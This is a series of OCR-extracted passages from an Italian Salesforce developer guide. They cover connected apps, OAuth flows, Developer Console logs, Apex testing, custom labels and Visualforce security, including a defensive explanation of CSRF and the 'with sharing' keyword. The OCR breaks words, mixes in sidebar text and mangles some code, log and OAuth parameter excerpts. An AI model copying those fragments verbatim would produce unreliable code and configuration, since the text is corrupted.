544. u inserire in un pacchetto le applicazioni connesse possono inoltre sfruttare tutte le funzionalit dei pacchetti gestiti ad esempio gli elenchi di AppExchange aggiornamenti tramite push script Apex post installazione gestione delle licenze e supporto avanzato per gli abbonati O Nota possibile includere in un pacchetto un applicazione connessa solo da un organizzazione Developer Edition Le applicazioni connesse possono essere aggiunte soltanto ai pacchetti gestiti Le applicazioni connesse non sono supportate per i pacchetti non gestiti Eliminazione di un applicazione connessa Per eliminare un applicazione connessa fare clic su Nome applicazione connessa nell elenco delle applicazioni Fare clic su Elimina nella pagina di modifica e confermare facendo nuovamente clic su Elimina Malgrado l applicazione sia stata rimossa dall elenco non possibile riutilizzare il suo nome Se si elimina un Applicazione connessa che stata inclusa in un pacchetto tale applicazione rimane disponibile all interno del pacchetto fino a che questo non viene aggiornato O Nota se per un applicazione connessa stato configurato il provisioning utente non possibile eliminare l applicazione connessa o disinstallare un pacchetto che la contiene fino a che un amministratore rimuove i dettagli di configurazione del provisioning utente Tenere presente che deselezionando la casella di controllo Abilita provisioning utente nella pagina dei dettagli dell a
545. u di navigazione di Salesforce1 eseguire le seguenti operazioni 1 Creare una scheda personalizzata per il componente Da Imposta immettere Schede nella casella Ricerca veloce quindi selezionare Schede 7 9 Fare clic su Nuova nell elenco correlato Schede Componente Lightning Selezionare il componente Lightning da visualizzare nella scheda personalizzata 2 n Immettere l etichetta da visualizzare sulla scheda Selezionare lo stile della scheda e fare clic su Avanti D f Quando viene richiesto di aggiungere la scheda ai profili accettare le impostazioni predefinite e fare clic su Salva Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 90 O Nota la creazione di una scheda personalizzata un prerequisito necessario per l abilitazione del componente nel menu di navigazione di Salesforce1 ma l accesso al componente Lightning dal sito Salesforce completo non supportato 2 Includere il componente Lightning nel menu di navigazione di Salesforce1 a Dalmposta immettere Navigazione nella casella Ricerca veloce quindi selezionare Navigazione in Salesforce1 b Selezionare la scheda personalizzata appena creata e fare clic su Aggiungi c Per ordinare le voci selezionarle una a una e fare clic su Su o Gi Nel menu di navigazione gli elementi vengono visualizzati nell ordine specificato La prima voce dell elenco Selezionati diventa la landing page di Salesforce1
546. ualizzare le righe lunghe che vengono troncate nella visualizzazione passare il mouse sopra alla riga per visualizzare una finestra popup Execution Log Timestamp Event Details 10 35 16 061 EXECUTION_ST fa 10 35 16 061 CODE_UNIT_ST EXTERNAL lexecute_anonymous_apex 10 35 16 064 VARIABLE_SCO 1 characters LIST lt String gt true false 10 35 16 086 HEAP_ALLOCATE EXTERNAL Bytes 7 10 35 16 086 HEAP_ALLOCATE EXTERNAL Bytes 13 10 35 16 036 STATEMENT_EX 1 10 35 16 086 STATEMENT_EX 1 10 35 16 036 LIMIT_USAGE 1 SCRIPT_STATEMENTS 1 200000 10 35 16 087 HEAP_ALLOCATE 1 Bytes 4 10 35 16 087 SYSTEM_CONST 1 lt init gt 0 10 35 16 088 SYSTEM_CONST 1 lt init gt Q 10 35 16 088 HEAP_ALLOCATE 1 Bytes 5 10 35 16 088 SYSTEM_METHO 1 JLIST lt String gt add Object 10 35 16 088 SYSTEM_METHO 1 LIST lt String gt add Object 10 35 16 088 HEAP_ALLOCATE 1 Bytes 11 35 088 _ SYSTEM METHO T1ILIST lt Strina gt add Obiect T 4 O This Frame 0 Executable 0 Debug Only C Filter Il riquadro Execution Log Registro esecuzioni si utilizza per ripercorrere i processi passo per passo possibile esaminare le singole righe o filtrare il registro per visualizzare le righe di interesse e This Frame Questo frame visualizza soltanto quest area del processo o solo gli elementi associati a quel livello Ad esempio se si seleziona un trigger che chiama una classe vengono vi
547. uesto un esempio molto semplice e l autore dell attacco pu essere anche pi creativo se si serve degli script per generare la richiesta di richiamata o utilizza gli attacchi CSRF contro i metodi AJAX dell utente Per ulteriori informazioni e per le difese tradizionali vedere i seguenti argomenti e http www owasp org index php Cross Site_Request_Forgery e http wwwcgisecurity com csrf faq html e http shiflettorg articles cross site request forgeries All interno della piattaforma Force com Salesforce ha implementato un token anti CSRF per prevenire questo attacco Ogni pagina include una stringa casuale di caratteri come campo di un modulo nascosto Al caricamento della pagina successiva l applicazione verifica la validit di questa stringa di caratteri e non esegue il comando se il valore non corrisponde a quello atteso Questa funzione protegge l utente quando utilizza tutti i controller e i metodi standard Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 104 Anche in questo caso lo sviluppatore pu aggirare le difese incorporate senza rendersi conto dei rischi Ad esempio si supponga di avere un controller personalizzato nel quale si prende l ID dell oggetto come parametro di input per poi utilizzare tale parametro di input in una chiamata SOQL Si consideri lo snippet di codice indicato di seguito lt apex page controller myClass action init lt apex page gt
548. uida dell utente Componenti Apex Visualforce e Lightning 97 Per eseguire un ricalcolo condivisione Apex dalle impostazioni di gestione di un oggetto personalizzato accedere a Ricalcolo condivisione Apex e fare clic su Nuovo Quando si utilizzano i ricalcoli condivisione Apex tenere presente quanto segue e L Apexcode che estende il ricalcolo condivisione pu elaborare al massimo cinque milioni di record Se l Apex code interessa pi di cinque milioni di record il processo ha immediatamente esito negativo e Lo stato dei ricalcoli condivisione Apex pu essere monitorato nell area di attesa dei processi Apex e A ogni oggetto personalizzato possibile associare un massimo di cinque ricalcoli condivisione Apex e ricalcoli condivisione Apex non possono essere associati agli oggetti standard VEDERE ANCHE Creazione di motivi di condivisione Apex Protezione Visualforce Protezione delle pagine Visualforce possibile specificare quali utenti possono eseguire una pagina Visualforce specifica in base al loro profilo o a un insieme di autorizzazioni associato L autorizzazione per una pagina Visualforce viene verificata solo al livello massimo Gli utenti che possono accedere a una pagina possono eseguire tutto l Apex code associato a quella pagina tra cui e Il controller della pagina e qualsiasi classe Apex chiamata dalla classe del controller e Qualsiasi classe di estensione per la pagina e qualsiasi Apex code chia
549. ulteriori informazioni sui dati dei test vedere Isolation of Test Data from Organization Data in Unit Tests nel manuale Force com Apex Code Developer s Guide Questa opzione non influisce sull esecuzione dell ordine dei test che continuano a essere eseguiti in modo asincrono dalla pagina Esecuzione test Apex Esame dei risultati della copertura codice Dopo avere eseguito i test utilizzando la pagina Esecuzione test Apex possibile visualizzare i dettagli della copertura codice nella Console sviluppatore Vedere Verifica della copertura codice Per ridurre il tempo di calcolo dei risultati della copertura codice complessiva ottenuti con Stima la copertura codice dell organizzazione nella pagina Esecuzione test Apex fare clic su Opzioni selezionare Memorizza solo la copertura codice aggregata e fare clic su OK Utilizzare questa opzione solo quando si dispone di molti test e di volumi considerevoli di Apex code cio quando il numero di metodi di test Apex moltiplicato per il numero di tutte le classi e i trigger nell ordine di centinaia di migliaia Questa opzione determina l archiviazione dei risultati della copertura codice nella forma aggregata per tutti i metodi di test Di conseguenza non possibile visualizzare i risultati della copertura codice per un singolo metodo di test incluse le evidenziazioni di colore blu e rosso che mostrano riga per riga la copertura del codice nella Console sviluppatore Per ulteriori informazioni sull es
550. un codice di errore e la descrizione dell errore nell URI dopo il tag cancelletto Questa non una stringa di query errori il codice di errore error description la descrizione dell errore con ulteriori informazioni unsupported response type tipo di risposta non supportato invalid client id identificatore client non valido invalid request HTTPS richiesto invalid request necessario utilizzare HTTP GET invalid request outofband non supportato access denied all utente finale viene negata l autorizzazione redirect uri missing redirect_uri non fornito redirect uri mismatch redirect_uri non corrisponde all oggetto applicazione connessa immediate unsuccessful errore immediato Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 228 invalid grant credenziali utente non valide invalid grant limitazione IP o orari di accesso non validi inactive user utente inattivo inactive org organizzazione bloccata chiusa o sospesa rate limit exceeded numero di accessi superato invalid scope ambito richiesto non valido sconosciuto o in un formato non corretto e state stato trasmesso alla fase di approvazione Questo non incluso se il parametro state non era incluso nella stringa di query originale Di seguito riportato un esempio di errore dell URI di reindirizzamento https www mysite com user callback jsp error access denied amp state myst
551. un messaggio di stato che indica la riuscita o meno dell operazione Per le spiegazioni dei messaggi vedere Messaggi di errore per le notifiche push Per ulteriori informazioni vedere e developer apple com per informazioni sulle notifiche push del servizio di notifica push Apple APNS e developer android com per informazioni sulle notifiche push di GCM per Android Per accedere alla pagina del test 1 InImposta immettere Applicazioni nella casella Ricerca veloce quindi selezionare Applicazioni 2 Selezionare il nome della propria applicazione connessa 3 Fare clic su Invia notifica di prova accanto a Piattaforma push supportata Questo link viene visualizzato solo se l applicazione connessa stata configurata per il supporto delle notifiche push mobili O Nota Prima di tentare l invio delle notifiche push di prova verificare che le impostazioni mobili nell applicazione connessa siano configurate correttamente Vedere Creazione di un applicazione connessa IN QUESTA SEZIONE Invio del test notifiche push al servizio di notifica push Apple APNS Per eseguire un test rapido dell impostazione delle proprie notifiche push al servizio di notifica push Apple APNS utilizzare la pagina Invia notifica di prova Invio del test notifiche push a GCM per Android Per eseguire un test rapido dell impostazione delle proprie notifiche push a Google Cloud Messaging per Android GCM utilizzare la pagina Invia notifica di prova Messaggi di
552. una lunghezza totale superiore a 1 milione di caratteri 6 Fare clic su Genera Apex L ultima pagina della procedura guidata mostra quali classi sono state generate correttamente insieme agli eventuali errori delle altre classi La pagina contiene anche un link per visualizzare il codice generato in modo corretto Le classi Apex generate in modo corretto includono le classi stub e type per la chiamata al servizio Web di terze parti rappresentato dal documento WSDL Queste classi consentono di chiamare il servizio Web esterno da Apex Per ogni classe generata viene creata una seconda classe con lo stesso nome e con prefisso As ync La prima classe per le chiamate sincrone La seconda classe per le chiamate asincrone Per ulteriori informazioni vedere il manuale Force com Apex Code Developer s Guide Tenere presente quanto segue in relazione all Apex generato e Se un documento WSDL contiene un termine riservato Apex a esso viene aggiunto il suffisso _x quando viene generata la classe Apex Ad esempio il termine limit in un documento WSDL viene convertito in limit x nella classe Apex generata Per un elenco dei termini riservati vedere il manuale Force com Apex Code Developer s Guide Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 63 e Se un operazione nel WSDL ha un messaggio in uscita con pi di un elemento la classe Apex generata racchiude gli elementi in una classe in
553. una richiesta Come fare per trovarle mediante il Log Inspector Controllo registri 1 Nel riquadro Execution Log Registro esecuzioni selezionare Filter Filtro 2 Immettere DEBUG maiuscolo nella casella di immissione Veng ono visualizzate solo le righe della richiesta che contengono la stringa DEBUG Aggiornamento del codice sorgente Scenario dopo avere eseguito la propria richiesta si nota un errore di Apex code nel registro debug Qual il modo pi semplice per modificare l Apex code Ottimizzazione di Salesforce con il codice 1 Dal riquadro Source Sorgente selezionare la riga di codice 2 Fare clic su Open Apri La classe o il trigger si apre in una nuova scheda Source Code Editor Editor codice sorgente Tracciamento del DML in una richiesta Scenario si supponga che la richiesta contenga numerose istruzioni DML in punti diversi Come fare per sapere quante volte viene eseguito DML in una richiesta Di seguito sono descritte due tecniche per visualizzare un registro debug ed esaminare l effettivo DML eseguito nel corso di una richiesta T Nel riquadro Execution Log Registro esecuzioni fare clic su Filter Filtro e digitare DML Vengono visualizzati tutti gli elementi della richiesta che contengono la voce DML in qualsiasi punto di un evento o dei dettagli Nel riquadro Execution Overview Panoramica esecuzioni fare clic nella scheda Executed Units Unit eseguite e disattivare tutti g
554. ungere un etichetta personalizzata alla propria applicazione 1 Creare l etichetta personalizzata 2 Tradurre il valore dell etichetta nelle lingue supportate dalla propria applicazione 3 Utilizzare l etichetta e In Apex utilizzare la sintassi system Label Label_name e InVisualforce e nei componenti Lightning utilizzare la variabile globale Labe1l 4 Includere l etichetta nella propria applicazione quando si prepara il pacchetto per AppExchange ID P4 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Developer Edition Professional Edition Enterprise Edition Performance Edition e Unlimited Edition YANG O NPZZAVA O N UTENTE Creare modificare ed eliminare etichette personalizzate e Personalizza applicazione Per creare o sostituire una traduzione e Gestisci traduzione OPPURE Visualizza impostazione e configurazione ed essere designato come traduttore Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 120 Suggerimento se un etichetta personalizzata dispone delle traduzioni necessario inserire esplicitamente nel pacchetto le singole lingue desiderate per fare in modo che tali traduzioni vengano incluse nel pacchetto VEDERE ANCHE Creazione e modifica di etichette personalizzate Creazione e modifica di etichette personalizzate Per creare o
555. unto in cui sia necessario chiamare l utente per nome all interno del flusso Facendo riferimento alla variabile globale User si evita di utilizzare una ricerca che viene conteggiata nei limiti del flusso Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 39 Esempio di i L esempio seguente visualizza il nome dell azienda dell utente corrente nonch lo stato dell utente corrente Visualforce che restituisce un valore booleano lt apex page gt lt h1 gt Congratulations lt h1 gt This is your new Apex Page lt p gt The current company name for this user is S SUser CompanyName lt p gt lt p gt Is the user active User isActive lt p gt lt apex page gt Suggerimenti e L utente corrente la persona che modifica il record che ha richiesto il valore predefinito la regola di convalida o qualsiasi altra operazione che utilizza questi campi di unione globali e Quando un record stato modificato da un processo Web a caso o Web a lead l utente corrente il Titolare lead predefinito oil Titolare caso predefinito e Quando un processo esegue azioni pianificate e l utente che ha avviato il processo non pi attivo User si riferisce all utente del flusso di lavoro predefinito Lo stesso vale per le azioni basate sul tempo nelle regole del flusso di lavoro e Alcuni dei campi di unione User possono essere utilizzati nei filtri di configurazione mobili U
556. unzioni per personalizzare l esperienza Ad esempio possibile progettare la guida personalizzata in modo che si rivolga direttamente all utente aggiungendo il nome Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition e Perfare riferimento a un file caricato nel campo Nome file come parte di un Custom S Control selezionare Custom S Control dall elenco a discesa Seleziona tipo di campo e scegliere URL Custom S Control per ottenere il relativo campo di unione Per un applet Java anche possibile utilizzare i campi di unione SControl JavaCodebase e SControl JavaArchive e Perinserire campi di unione attivit selezionare Evento oppure Operazione dall elenco a discesa Seleziona tipo di campo Salesforce codifica automaticamente il testo da un qualsiasi campo di unione inserito in un link VEDERE ANCHE Definizione dei Custom S Control Cosa dice il confronto tra le pagine Visualforce e gli S Control O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Le pagine Visualforce sono considerate gli S Control della prossima generazione e devono essere utilizzate al posto degli S Control ove possibile sia per le loro migliori prestazioni che per la facilit con la quale possono essere scritte Nell
557. uova stringa nella casella di testo Replace e fare clic su replace per sostituire solo quell istanza oppure fare clic su Replace All per sostituire quell istanza e tutte le altre istanze della stringa presenti nella pagina nella classe o nel trigger e Per fare in modo che la ricerca distingua le lettere maiuscole dalle minuscole selezionare l opzione Match Case e Per utilizzare un espressione regolare come stringa di ricerca selezionare l opzione Regular Expressions Le espressioni regolari seguono le regole delle espressioni regolari in JavaScript Una ricerca eseguita mediante le espressioni regolari pu trovare stringhe di pi righe Se si utilizza l operazione di sostituzione con una stringa trovata mediante un espressione regolare tale operazione pu anche eseguire il binding delle variabili dei gruppi di espressioni regolari 1 2 e cos via dalla stringa di ricerca trovata Ad esempio per sostituire un tag lt h1 gt con un tag lt h2 gt e mantenere intatti tutti gli attributi nel tag lt h1 gt originale cercare lt h1 s gt e sostituirlo con lt h2 1 2 gt Go to line gt Questo pulsante consente di evidenziare il numero di riga specificato Se la riga non attualmente visibile l editor scorre fino a quella riga Annulla e Ripeti Utilizzare undo per annullare un operazione di modifica e redo per ricreare un operazione di modifica annullata Font size Selezionare una dimensione f
558. utente incorporate e le restrizioni di protezione a livello di campo non vengono rispettate durante l esecuzione Il comportamento predefinito prevede che una classe Apex possa leggere e aggiornare tutti i dati all interno dell organizzazione Poich queste regole non vengono applicate gli sviluppatori che utilizzano Apex devono fare attenzione a non esporre inavvertitamente dati sensibili che solitamente sarebbero nascosti agli utenti da autorizzazioni utente protezione a livello di campo o impostazioni predefinite di tutta l organizzazione Ci valido in particolare per le pagine Visualforce Si consideri ad esempio il seguente pseudocodice Apex public class customController public void read Contact contact SELECT id FROM Contact WHERE Name value In questo caso la ricerca viene effettuata in tutti i record del referente anche se l utente attualmente collegato non avrebbe le autorizzazioni per visualizzare questi record La soluzione l utilizzo delle parole chiave qualificanti with sharing durante la dichiarazione della classe public with sharing class customController La parola chiave with sharing istruisce la piattaforma affinch utilizzi le autorizzazioni di condivisione di protezione dell utente attualmente collegato anzich consentire un accesso completo a tutti i record Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Servizi
559. utilizzo dell applicazione sia coperto inclusi i casi positivi e negativi nonch i record singoli e in blocco Questo dovrebbe determinare una copertura del codice da parte dei test di unit pari ad almeno il 75 Ogni trigger deve avere una copertura Guida dell utente Esecuzione dei test Apex 300 DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition TANG O NPZAZAVA O N UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore Ottimizzazione di Salesforce con il codice e Tutte le classi e i trigger devono essere compilati correttamente VEDERE ANCHE Dettagli dei risultati dei test Apex Dettagli dei risultati dei test Apex Per visualizzare tutti i risultati dei test eseguiti da qualsiasi utente all interno della propria organizzazione nella visualizzazione predefinita per 30 giorni a meno che siano stati cancellati da Imposta immettere Apex nella casella Ricerca veloce quindi selezionare Esecuzione test Apex e fare clic su Visualizza cronologia test Fare clic su Visualizza per visualizzare pi dettagli in merito all esecuzione di un test specifico VEDERE ANCHE Risultati dei test Apex Esecuzione di test nella Con
560. uto o in un formato non corretto state stato trasmesso alla fase di approvazione Questo non incluso se il parametro state non era incluso nella stringa di query originale Il server Web scambia il codice di verifica con il token di accesso Dopo avere ottenuto il codice di autorizzazione il server Web lo scambia con un token di accesso Il consumatore deve effettuare una richiesta POST direttamente all endpoint del token con i seguenti parametri e grant type lilvalore deve essere authorization code per questo flusso e client id chiave consumatore dalla definizione dell applicazione connessa Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 221 e client secret segreto consumatore dalla definizione dell applicazione connessa e client assertion anzich passare client _secret si pu decidere di indicare una client _assertion eun client assertion type Se il parametro client secret non viene fornito Salesforce verifica automaticamente la presenza dei parametri client _assertion e client assertion type ll valore di client assertion deve essere un token bearer JWT tipico firmato con la chiave privata associata al certificato consumatore OAuth caricato Attualmente supportato solo l algoritmo RS256 Per ulteriori informazioni sull uso di client assertion vedere le specifiche OpenID Connect per il metodo di autenticazione client private key jwt e client assertion type indic
561. valore quando si utilizza il parametro client _assertion Ilvalore di client _assertion type deve essere urn ietf params coauth client assertion type jwt bearer format formato restituito previsto Questo parametro facoltativo Il valore predefinito j son I valori sono urlencoded json xml Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 216 Il seguente esempio rappresenta il corpo del POST out of band all endpoint del token POST services oauth2 token HTTP 1 1 Host https login salesforce com grant type refresh token amp client id 3MVG91KcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1luA5mu0 QgEWhgKpoW3svG3XHrXDiCQjKlmdgAvhCscA9GE amp client secret 1955279925675241571 amp refresh token your token here Invece di utilizzare il parametro format il client pu anche specificare il formato restituito nell intestazione di un accettazione richiesta in uno dei seguenti modi Accept application json Accept application xml e Accept application x www form urlencoded Il server di Salesforce invia una risposta Dopo che la richiesta stata verificata Salesforce invia una risposta al client seguenti parametri si trovano nel corpo della risposta e access token 1 D sessione Salesforce che pu essere utilizzato con l API servizi Web e token type ilvalore Bearer per tutte le risposte che includono un token di accesso e instance url URL che indica
562. value 8675309 key BearerToken value 0O0DRR0000000N0g AR0A0MZy0tsP16s27EZ8h17vdpYXH505rv1VNprqgTeD12xYnvygD3JgPnNR Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 146 Questo l Apex code che istanzia il gruppo di link azioni dal modello e imposta i valori delle variabili di binding Get the action link group template Id ActionLinkGroupTemplate template SELECT Id FROM ActionLinkGroupTemplate WHERE DeveloperName Doc Example Add binding name value pairs to a map Map lt String String gt bindingMap new Map lt String String gt bindingMap put ApiVersion 1 0 bindingMap put ItemNumber 8675309 bindingMap put BearerToken 00DRR0000000N0g AR0oA0MZy0tsP16s27EZ8h17vdpYXH505rvl1VNprqgTeD12xYnvygD3JgPnNR Create ActionLinkTemplateBindingInput objects from the map elements List lt ConnectApi ActionLinkTemplateBindingInput gt bindingInputs new List lt ConnectApi ActionLinkTemplateBindingInput gt for String key bindingMap keySet ConnectApi ActionLinkTemplateBindingInput bindingInput new ConnectApi ActionLinkTemplateBindingInput bindingInput key key bindingInput value bindingMap get key bindingInputs add bindingInput Set the template Id and template binding values in the action link group definition ConnectApi ActionLinkGroupDefinitionInput actionL
563. vengano creati nel proprio tipo di metadati personalizzato oppure in un tipo di un pacchetto gestito certificato 100 100 Questo numero include tutti i tipi sviluppati nell organizzazione e installati da pacchetti gestiti e non gestiti 1 000 50 000 ID P4 0 N Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 251 Descrizione Quantit massima Tipi di metadati personalizzati in una chiamata 200 La dimensione del record si basa sulla dimensione massima del campo di ogni tipo di campo e non sulla memoria effettivamente utilizzata in ciascun campo Quando si aggiungono campi a un record di metadati personalizzato utilizzare il tipo appropriato e indicare una lunghezza che non superi la lunghezza necessaria per i dati Questo consente di evitare di raggiungere il limite di dati memorizzati nella cache Ad esempio se si crea un campo del numero di previdenza sociale selezionare il tipo di dati Testo e specificare una lunghezza pari a 9 Se invece si selezionasse Area di testo il campo aggiungerebbe 255 caratteri al conteggio dell utilizzo per ogni record indipendentemente dal numero effettivo di caratteri immessi Creazione modifica ed eliminazione di tipi e record di metadati personalizzati
564. ver in una richiesta HTTP POST Ogni batch viene elaborato separatamente dal server non necessariamente nell ordine di ricevimento Per monitorare lo stato dei processi di caricamento dati in blocco in corso o completati di recente da Imposta immettere Processi di caricamento dati in blocco nella casella Ricerca veloce quindi selezionare Processi di caricamento dati in blocco L elenco dei processi in corso contiene le colonne seguenti riportate in ordine alfabetico Colonna Descrizione ID L ID univoco di 15 caratteri del processo processo Oggetto Il tipo di oggetto relativo ai dati in corso di elaborazione Tutti i dati di un processo devono avere lo stesso tipo di oggetto Operazione L operazione di elaborazione per tutti i batch del processo valori validi sono e eliminazione e insert query upsert update D OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition Developer Edition e Database com Edition YANG TO NPZZAVA O N UTENTE Per monitorare i processi di caricamento dati in blocco e Gestisci integrazioni di dati Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 160 Colonna Avanzamento Record elaborati Ora iniziale Stato Inviato da Descrizione hardDelete La percentuale di batch elaborati rispe
565. visioning utente per applicazioni connesse AUTORIZZAZIONI UTENTE Per leggere Per creare aggiornare o eliminare Per aggiornare tutti i campi tranne Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di autorizzazioni e Attributi SAML provider di servizi Per disinstallare Gli amministratori possono utilizzare le applicazioni connesse con la funzione di provisioning utente Personalizza applicazione Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Personalizza applicazione Personalizza applicazione E Modifica tutti i dati Scarica pacchetti AppExchange DAON Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni per creare aggiornare ed eliminare gli account utente nelle applicazioni di terze parti sulla base degli utenti nell organizzazione Salesforce Per gli utenti Salesforce possibile impostare la creazione gli aggiornamenti e la disattivazione automatici degli account per servizi quali Google Apps e Box Inoltre possibile trovare gli account utente esistenti nel sistema di terze parti e capire se sono gi collegati a un a
566. vizio UserInfo e ap O Nota questa impostazione non rende non valida una plicare la policy sessione utente Quando la sessione scade per inattivit questa policy richiede soltanto che l utente immetta un PIN per continuare a usare la sessione corrente Lunghezza PIN imposta la lunghezza del numero di iden pu essere compresa fra 4 e 8 cifre incluse e Per tutte le applicazioni connesse sono disponibili attributi perso personalizzati o attributi OAuth personalizzati per un applicazion questi attributi oppure aggiungere attributi personalizzati Gli attrib tificazione inviato per la conferma dell autenticazione La lunghezza nalizzati Gli sviluppatori possono impostare metadati SAML e connessa Gli amministratori possono eliminare o modificare uti eliminati modificati o aggiunti dagli amministratori sostituiscono quelli impostati dagli sviluppatori Per ulteriori informazioni vedere Modifica inclusione in un pacchetto o eliminazione di un applicazione connessa a pagina 176 Handler personalizzato applicazione connessa Personalizzare il comportamento di un applicazione connessa con Apex Creare una classe che estende la classe Apex ConnectedAppPlugin e associarla a un applicazione connessa La classe pu supportare nuovi protocolli di autenticazione o rispondere agli attributi utente in un modo che pu essere utile a un processo aziendale Il plugin viene eseguito per conto di un account utente Nel campo
567. x Solo il metodo start di un processo batch Apex pu essere eseguito in un dato momento in un organizzazione processi batch che non sono ancora stati avviati rimangono nell area di attesa fino al loro avvio Tenere presente che questa limitazione non provoca la mancata riuscita del processo batch e i metodi execute dei processi Apex batch vengono eseguiti in parallelo se in esecuzione pi di un processo Per qualsiasi tipo di processo Apex possibile fare clic su Interrompi processo nella colonna Azione per interrompere l elaborazione completa del processo Tutti i processi batch completati vengono rimossi dall elenco dell area di attesa batch sette giorni dopo il completamento Per ulteriori informazioni su Apex vedere il manuale Force com Apex Code Developer s Guide VEDERE ANCHE Pianificazione Apex Monitoraggio dell area di attesa Flex Apex Utilizzare la pagina Area di attesa Flex Apex per visualizzare e riordinare tutti i processi batch che EDIZIONI hanno uno stato In attesa Oppure riordinare i propri processi batch a livello di programmazione utilizzando Apex code Disponibile nelle versioni possibile mettere fino a 100 processi batch in attesa per l esecuzione futura Quando le risorse di Salesforce Classic e sistema diventano disponibili i processi vengono prelevati dall inizio dell area di attesa Flex Apex Lightning Experience e spostati nell area di attesa dei processi batch possibile elaborare contempora
568. xample a Category Primary action Executions Allowed I Once per User v Hours until Expiration Published y Save Save amp New Cancel Ogni gruppo di link azioni deve contenere almeno un link azione In questo link azione di esempio sono presenti tre variabili di binding il numero di versione APInelcampo Action URL URLazione il numero voce nelcampo HTTP Request Body Corpo richiesta HTTP e il valore del token OAuth nel campo HTTP Headers Intestazioni HTTP Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 145 Action Link Template Edit Save Save amp New Cancel Information Required Information Action Link Templates Overview Position jo i Group Template Action Type I API Label Buy m Key Action URL https www example com Label K Bindings ApiVersionyitems HTTP POST User Everyone can see X Method Visibility HTTP i itemNumber Bindings ItemNumbery Custom Request User Body Alias HTTP tent Type nij rii Content Type application json Authorization Bearer Bindings BearerToken Default Link in Group Confirmation E Required L API REST Chatter chiede di istanziare il gruppo di link azioni e di impostare i valori delle variabili di binding POST connect action link group definitions templateId 07gD00000004C9r templateBindings key ApiVersion value v1 0 key ItemNumber
569. ysite com code callback jsp code aPrxsmIEegM9 amp state mystate Se l utente nega l approvazione viene reindirizzato a redirect uri coni seguenti valori nella stringa di query e erroriilvalore access denied e state stato trasmesso alla fase di approvazione Questo non incluso se il parametro state non era incluso nella stringa di query originale Ad esempio https www mysite com code callback jsp error access denied amp state mystat Se in questa fase si verifica un errore la risposta contiene un messaggio di errore composto dalle seguenti parti e erroriil codice di errore e error descriptionila descrizione dell errore con ulteriori informazioni unsupported response type tipo di risposta non supportato invalid client id identificatore client non valido invalid request HTTPS richiesto invalid request necessario utilizzare HTTP GET invalid request code challenge non valido Indica che il valore code challenge non valido sprovvisto di codifica base64url ad esempio invalid request code challenge imprevisto Indica che il flusso non supporta e non si aspettava un parametro code challenge access denied all utente finale viene negata l autorizzazione redirect uri missing redirect_uri non fornito redirect uri mismatch redirect_uri non corrisponde alla definizione dell applicazione connessa immediate unsuccessful errore immediato invalid scope ambito richiesto non valido sconosci
570. ytes 7 4 Bering apeciag 13 13 39 140 HEAP_ALLOCATE EXTERNAL Bytes 13 5 75 for integer i 0 i lt num 5 i 13 13 39 140 STATEMENT_EX 1 6 65 spacing _ 13 13 39 140 STATEMENT_EX 1 7 13 13 39 140 HEAP_ALLOCATE 1 Bytes 4 8 return spacing 13 13 39 140 SYSTEM_CONST 1 lt init gt 0 si 13 13 39 140 SYSTEM_CONST 1 lt init gt 0 aume E open 13 13 39 140 HEAP_ALLOCATE 1 Bytes 5 13 13 39 141 SVSTEMLMETHO I LIST lt Sting gt add Objeci 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object Variable Value 13 13 39 141 HEAP_ALLOCATE 1 Bytes 16 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 17 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 SYSTEM_METHO 1 LIST lt String gt add Object 13 13 39 141 HEAP_ALLOCATE 1 Bytes 9 13 13 39 142 SYSTEM_METHO 1 LIST lt String gt add Object 4 l This Frame Executable TC Debug Only CU Filter Click here to fiter the log___ e Log Only Solo registro prospettiva polivalente per visualizzare l esecuzione del registro che include soltanto il riquadro Execution Log Registro esecuzioni Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore
